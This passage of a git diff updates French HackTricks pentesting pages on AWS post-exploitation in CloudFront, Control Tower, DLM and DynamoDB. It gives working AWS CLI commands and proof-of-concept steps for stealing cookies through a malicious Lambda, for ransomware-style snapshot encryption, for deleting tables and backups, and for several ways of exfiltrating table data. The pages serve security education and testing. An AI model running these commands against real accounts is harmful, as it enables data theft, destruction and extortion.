blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant). - -#### scénario 1 : MitM où CloudFront est configuré pour accéder à un HTML d'un bucket - -- **Créer** la **fonction** malveillante. -- **L'associer** à la distribution CloudFront. -- Définir le **type d'événement sur "Viewer Response"**. - -En accédant à la réponse, vous pourriez voler le cookie des utilisateurs et injecter un JS malveillant. - -#### scénario 2 : MitM où CloudFront utilise déjà une fonction lambda - -- **Modifier le code** de la fonction lambda pour voler des informations sensibles - -Vous pouvez consulter le [**code tf pour recréer ces scénarios ici**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md new file mode 100644 index 000000000..6fe37de9d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -0,0 +1,31 @@ +# AWS - CloudFront Post-exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## CloudFront + +Pour plus d'informations, consultez : + +{{#ref}} +../../aws-services/aws-cloudfront-enum.md +{{#endref}} + +### Man-in-the-Middle + +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où une **Lambda** pourrait être ajoutée (ou modifiée si elle est déjà utilisée) dans une **communication through CloudFront** dans le but de **voler** des informations utilisateur (comme le cookie de session) et de **modifier** la **réponse** (en injectant un script JS malveillant). + +#### scénario 1 : MitM où CloudFront est configuré pour accéder à du HTML d'un bucket + +- **Créer** la **fonction** malveillante. +- **Associer** la à la distribution CloudFront. +- Définir le **type d'événement sur "Viewer Response"**. + +En accédant à la réponse, vous pouvez voler le cookie des utilisateurs et injecter un JS malveillant. + +#### scénario 2 : MitM où CloudFront utilise déjà une Lambda function + +- **Modifier le code** de la Lambda function pour voler des informations sensibles + +Vous pouvez consulter le [**tf code pour recréer ces scénarios ici**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md deleted file mode 100644 index 0a8281139..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Contrôle de la Tour Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Contrôle de la Tour - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md -{{#endref}} - -### Activer / Désactiver les Contrôles - -Pour exploiter davantage un compte, vous pourriez avoir besoin de désactiver/activer les contrôles de la Tour de Contrôle : -```bash -aws controltower disable-control --control-identifier --target-identifier -aws controltower enable-control --control-identifier --target-identifier -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md new file mode 100644 index 000000000..d3825f770 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md @@ -0,0 +1,18 @@ +# AWS - Control Tower Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Control Tower + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +{{#endref}} + +### Activer / Désactiver les contrôles + +Pour exploiter davantage un compte, vous pourriez devoir désactiver/activer les contrôles de Control Tower : +```bash +aws controltower disable-control --control-identifier --target-identifier +aws controltower enable-control --control-identifier --target-identifier +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md deleted file mode 100644 index 1748c4b68..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ /dev/null @@ -1,91 +0,0 @@ -# AWS - DLM Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Data Lifecycle Manger (DLM) - -### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` - -Une attaque par ransomware peut être exécutée en chiffrant autant de volumes EBS que possible, puis en effaçant les instances EC2, les volumes EBS et les snapshots actuels. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une clé KMS d'un autre compte AWS et en transférant les snapshots chiffrés vers un compte différent. Alternativement, ils pourraient transférer des snapshots sans chiffrement vers un compte qu'ils gèrent, puis les chiffrer là-bas. Bien qu'il ne soit pas simple de chiffrer directement les volumes EBS ou les snapshots existants, il est possible de le faire en créant un nouveau volume ou un nouveau snapshot. - -Tout d'abord, on utilisera une commande pour rassembler des informations sur les volumes, telles que l'ID d'instance, l'ID de volume, l'état de chiffrement, l'état de connexion et le type de volume. - -`aws ec2 describe-volumes` - -Deuxièmement, on créera la politique de cycle de vie. Cette commande utilise l'API DLM pour configurer une politique de cycle de vie qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un moment désigné. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json inclut les spécificités de la politique de cycle de vie, telles que les tags cibles, le calendrier, l'ARN de la clé KMS optionnelle pour le chiffrement, et le compte cible pour le partage de snapshots, qui sera enregistré dans les journaux CloudTrail de la victime. -```bash -aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json -``` -Un modèle pour le document de politique peut être vu ici : -```bash -{ -"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", -"ResourceTypes": [ -"VOLUME" -], -"TargetTags": [ -{ -"Key": "ExampleKey", -"Value": "ExampleValue" -} -], -"Schedules": [ -{ -"Name": "DailySnapshots", -"CopyTags": true, -"TagsToAdd": [ -{ -"Key": "SnapshotCreator", -"Value": "DLM" -} -], -"VariableTags": [ -{ -"Key": "CostCenter", -"Value": "Finance" -} -], -"CreateRule": { -"Interval": 24, -"IntervalUnit": "HOURS", -"Times": [ -"03:00" -] -}, -"RetainRule": { -"Count": 14 -}, -"FastRestoreRule": { -"Count": 2, -"Interval": 12, -"IntervalUnit": "HOURS" -}, -"CrossRegionCopyRules": [ -{ -"TargetRegion": "us-west-2", -"Encrypted": true, -"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", -"CopyTags": true, -"RetainRule": { -"Interval": 1, -"IntervalUnit": "DAYS" -} -} -], -"ShareRules": [ -{ -"TargetAccounts": [ -"123456789012" -], -"UnshareInterval": 30, -"UnshareIntervalUnit": "DAYS" -} -] -} -], -"Parameters": { -"ExcludeBootVolume": false -} -} -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md new file mode 100644 index 000000000..0bd1c3ae6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md @@ -0,0 +1,91 @@ +# AWS - DLM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Data Lifecycle Manger (DLM) + +### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` + +Une attaque de ransomware peut être réalisée en chiffrant autant d'EBS volumes que possible puis en effaçant les EC2 instances, EBS volumes et snapshots actuels. Pour automatiser cette activité malveillante, on peut utiliser Amazon DLM, en chiffrant les snapshots avec une KMS key provenant d'un autre AWS account et en transférant les snapshots chiffrés vers un compte différent. Alternativement, ils peuvent transférer des snapshots sans chiffrement vers un compte qu'ils contrôlent puis les chiffrer là-bas. Bien qu'il ne soit pas simple de chiffrer directement des EBS volumes ou snapshots existants, il est possible de le faire en créant un nouveau volume ou snapshot. + +Premièrement, on utilisera une commande pour récupérer des informations sur les volumes, telles que instance ID, volume ID, encryption status, attachment status et volume type. + +`aws ec2 describe-volumes` + +Deuxièmement, on créera la lifecycle policy. Cette commande utilise la DLM API pour configurer une lifecycle policy qui prend automatiquement des snapshots quotidiens des volumes spécifiés à un horaire défini. Elle applique également des tags spécifiques aux snapshots et copie les tags des volumes vers les snapshots. Le fichier policyDetails.json contient les détails de la lifecycle policy, tels que target tags, schedule, l'ARN de la KMS key optionnelle pour le chiffrement, et le target account pour le partage des snapshots, qui seront enregistrés dans les logs CloudTrail de la victime. +```bash +aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json +``` +Un modèle du document de politique est disponible ici : +```bash +{ +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} +} +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md similarity index 70% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 4ffe05e68..89f7c23c3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -1,13 +1,13 @@ # AWS - DynamoDB Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DynamoDB Pour plus d'informations, consultez : {{#ref}} -../aws-services/aws-dynamodb-enum.md +../../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` @@ -47,7 +47,7 @@ aws dynamodb batch-get-item \ ### `dynamodb:GetItem` -**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer : +**Similaire aux autorisations précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer : ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Avec cette permission, il est également possible d'utiliser la méthode **`transact-get-items`** comme : +Avec cette autorisation, il est également possible d'utiliser la méthode **`transact-get-items`** comme : ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table +**Impact potentiel:** Privesc indirecte en localisant des informations sensibles dans la table ### `dynamodb:Query` -**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table si la clé primaire de l'entrée à récupérer est fournie. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour récupérer toute la base de données en une seule requête. +**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à condition de connaître la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit être présente) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble du DB en une requête. {{#tabs }} {{#tab name="json file" }} @@ -107,31 +107,31 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Impact potentiel :** un privesc indirect en localisant des informations sensibles dans la table +**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table ### `dynamodb:Scan` -Vous pouvez utiliser cette autorisation pour **dump facilement l'intégralité de la table**. +Vous pouvez utiliser cette permission pour **dump l'intégralité de la table facilement**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table +**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table ### `dynamodb:PartiQLSelect` -Vous pouvez utiliser cette permission pour **dump facilement l'intégralité de la table**. +Vous pouvez utiliser cette autorisation pour **dump facilement l'intégralité de la table**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Cette permission permet également d'exécuter `batch-execute-statement` comme : +Cette autorisation permet également d'exécuter des `batch-execute-statement` comme : ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile. -**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table +**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` @@ -149,17 +149,17 @@ Notez que pour que cela fonctionne, la table doit avoir point-in-time-recovery a aws dynamodb describe-continuous-backups \ --table-name ``` -Si ce n'est pas activé, vous devrez **l'activer** et pour cela vous avez besoin de l'autorisation **`dynamodb:ExportTableToPointInTime`** : +S'il n'est pas activé, vous devrez **l'activer** et pour cela vous avez besoin de la permission **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table +**Impact potentiel:** Privesc indirect en localisant des informations sensibles dans la table -### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` +### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Avec ces permissions, un attaquant serait capable de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour la restaurer ensuite dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter **des informations** provenant des sauvegardes qui **ne pourraient plus être présentes dans la table de production**. +Avec ces permissions, un attacker serait capable de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour ensuite la restaurer dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter **des informations** issues des sauvegardes qui **ne sont plus présentes dans la table de production**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ @@ -170,7 +170,7 @@ aws dynamodb restore-table-from-backup \ ### `dynamodb:PutItem` -Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'intégralité de l'élément sera remplacée** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**. +Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'ensemble de l'élément sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**. {{#tabs }} {{#tab name="XSS Example" }} @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour. +Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Cela **ne remplace pas** l'ensemble de l'élément ; cela met uniquement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,34 +242,34 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation de vulnerabilities/bypasses supplémentaires en permettant d'ajouter/modifier des données dans une table DynamoDB +**Impact potentiel :** Exploitation de vulnérabilités supplémentaires/bypasses en pouvant ajouter/modifier des données dans une table DynamoDB ### `dynamodb:DeleteTable` -Un attaquant disposant de cette permission peut **supprimer une table DynamoDB, provoquant une perte de données**. +Un attaquant disposant de cette autorisation peut **supprimer une table DynamoDB, provoquant une perte de données**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Impact potentiel**: Perte de données et perturbation des services dépendant de la table supprimée. +**Impact potentiel** : Perte de données et perturbation des services dépendant de la table supprimée. ### `dynamodb:DeleteBackup` -Un attaquant disposant de cette permission peut **supprimer une sauvegarde DynamoDB, pouvant entraîner une perte de données en cas de scénario de reprise après sinistre**. +Un attaquant disposant de cette autorisation peut **supprimer une sauvegarde DynamoDB, provoquant potentiellement une perte de données en cas de scénario de reprise après sinistre**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Impact potentiel**: Perte de données et impossibilité de restaurer à partir d'une sauvegarde dans un scénario de reprise après sinistre. +**Impact potentiel** : Perte de données et incapacité à restaurer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO : Tester si cela fonctionne réellement +> TODO: Tester si cela fonctionne réellement -Un attaquant disposant de ces autorisations peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au stream pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrate les modifications de données, ce qui peut potentiellement conduire à data leakage. +Un attaquant disposant de ces autorisations peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au stream pour surveiller en temps réel les changements de la table**. Cela permet à l'attaquant de surveiller et d'exfiltrate les modifications de données, ce qui peut entraîner un leak. 1. Activer un stream sur une table DynamoDB : ```bash @@ -278,13 +278,13 @@ aws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Décrivez le stream pour obtenir l'ARN et d'autres détails : +2. Décrire le flux pour obtenir l'ARN et d'autres détails : ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Obtenez le shard iterator en utilisant le stream ARN: +3. Obtenir le shard iterator en utilisant le stream ARN : ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,20 +292,20 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Utilisez le shard iterator pour accéder et exfiltrate les données du stream: +4. Utilisez le shard iterator pour accéder et exfiltrate des données du stream : ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Impact potentiel**: Surveillance en temps réel et exfiltration des données des modifications de la table DynamoDB. +**Potential impact**: Surveillance en temps réel et exfiltration de données des modifications de la table DynamoDB. -### Lire des items via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD` +### Lire les éléments via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD` Un attaquant disposant uniquement de `dynamodb:UpdateItem` sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (`GetItem`/`Query`/`Scan`) en effectuant une mise à jour bénigne et en demandant `--return-values ALL_OLD`. DynamoDB renverra l'image complète de l'élément avant mise à jour dans le champ `Attributes` de la réponse (cela ne consomme pas de RCUs). -- Permissions minimales: `dynamodb:UpdateItem` sur la table/clé ciblée. -- Prérequis: Vous devez connaître la clé primaire de l'élément. +- Permissions minimales: `dynamodb:UpdateItem` sur la table/clé cible. +- Prérequis: vous devez connaître la clé primaire de l'élément. Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse): ```bash @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -La réponse CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant effectivement une primitive de lecture à partir d'un accès en écriture seule. +La réponse de la CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant ainsi une primitive de lecture à partir d'un accès en écriture seule. -**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des autorisations d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues. +**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des permissions d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Exfiltration furtive en ajoutant une nouvelle replica Region à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter un replica régional, l'ensemble de la table est répliqué vers la Region choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments. +Exfiltration discrète en ajoutant une nouvelle réplique régionale à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter une réplique régionale, la table entière est répliquée vers la région choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Permissions : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si une CMK est utilisée dans la réplique, des permissions KMS pour cette clé peuvent être nécessaires. +Autorisations : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si un CMK est utilisé dans la réplique, des autorisations KMS pour cette clé peuvent être requises. -Potential Impact : Réplication de l'ensemble de la table vers une région contrôlée par l'attaquant, entraînant une exfiltration furtive des données. +Impact potentiel : Réplication complète de la table vers une région contrôlée par un attaquant, aboutissant à une exfiltration furtive de données. ### `dynamodb:TransactWriteItems` (lecture via condition échouée + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'ensemble des attributs d'un item existant en effectuant un `Update` à l'intérieur de `TransactWriteItems` qui échoue intentionnellement une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture seule en accès lecture sur les clés ciblées. +Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'ensemble des attributs d'un item existant en effectuant un `Update` à l'intérieur de `TransactWriteItems` qui fait volontairement échouer une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture uniquement en accès en lecture des clés ciblées. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -411,16 +411,16 @@ print(e.response['CancellationReasons'][0]['Item']) Permissions : `dynamodb:TransactWriteItems` sur la table cible (et l'item sous-jacent). Aucune permission de lecture n'est requise. -Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en n'ayant que les privilèges d'écriture transactionnelle via les raisons d'annulation renvoyées. +Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en utilisant seulement les privilèges d'écriture transactionnelle via les raisons d'annulation retournées. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` sur un GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` sur GSI -Contourner les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, définir cet attribut à une valeur constante pour tous les éléments, puis `Query` l'index pour récupérer les éléments complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index. +Contournez les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, en définissant cet attribut à une valeur constante pour tous les items, puis en effectuant un `Query` sur l'index pour récupérer les items complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index. - Permissions minimales : - `dynamodb:UpdateTable` sur la table cible (pour créer le GSI avec `ProjectionType=ALL`). -- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque élément). +- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque item). - `dynamodb:Query` sur l'ARN de la ressource d'index (`arn:aws:dynamodb:::table//index/`). Étapes (PoC en us-east-1) : @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Impact potentiel :** Exfiltration complète de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées. +**Impact potentiel :** Full table exfiltration en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées. ### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration continue via Kinesis Data Streams) -Abuser de DynamoDB Kinesis streaming destinations pour exfiltrer en continu les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis quasi en temps réel au stream sans nécessiter de permissions de lecture sur la table. +Abuser des destinations de streaming Kinesis de DynamoDB pour continuously exfiltrate les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activée, chaque événement INSERT/MODIFY/REMOVE est transmis en quasi-temps réel au Kinesis Data Stream sans nécessiter de permissions de lecture sur la table. -Permissions minimales (attaquant) : -- `dynamodb:EnableKinesisStreamingDestination` sur la table cible -- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller l'état -- Permissions de lecture sur le Kinesis stream contrôlé par l'attaquant pour consommer les enregistrements : `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +Minimum permissions (attacker): +- `dynamodb:EnableKinesisStreamingDestination` on the target table +- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller le statut +- Permissions de lecture sur le Kinesis stream appartenant à l'attaquant pour consommer les enregistrements : `kinesis:*`
PoC (us-east-1) @@ -530,6 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**Impact potentiel :** Exfiltration continue, quasi en temps réel, des modifications de la table vers un Kinesis stream contrôlé par un attaquant sans opérations de lecture directes sur la table. +**Impact potentiel :** Exfiltration continue et quasi en temps réel des modifications de la table vers un Kinesis stream contrôlé par l'attaquant sans opérations de lecture directes sur la table. -{{#include ../../../banners/hacktricks-training.md}} + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 7528abd42..3268f6210 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Post-exploitation {{#include ../../../../banners/hacktricks-training.md}} @@ -10,10 +10,10 @@ Pour plus d'informations, consultez : ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Miroir VPC Malveillant -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, 